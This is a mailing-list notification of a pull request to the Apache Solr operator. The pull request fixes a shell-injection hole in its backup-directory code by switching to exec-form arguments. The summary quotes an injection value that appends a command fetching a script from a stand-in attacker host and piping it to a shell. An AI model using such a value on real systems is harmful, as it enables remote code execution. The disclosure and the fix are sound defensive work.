apvxlab opened a new pull request, #844: URL: https://github.com/apache/solr-operator/pull/844
## Summary `EnsureDirectoryForBackup` in `controllers/util/backup_util.go` passes `SolrBackup.spec.location` through `/bin/bash -c` when creating the backup directory via pod exec. Because `spec.location` is user-controlled CR input, a malicious value like `foo; curl attacker.com/x | sh` is executed as a shell command inside the Solr pod. **Fix:** use exec-form argv (`[mkdir, -p, backupPath]`) instead of shell-form, so `backupPath` is treated as a literal path argument and shell metacharacters are inert. ## Test plan - Verified the fix compiles and existing tests pass - Confirmed the original shell-form code is reachable from reconcile via `EnsureDirectoryForBackup` - Manual code review confirms no other call sites pass user input through shell-form exec -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
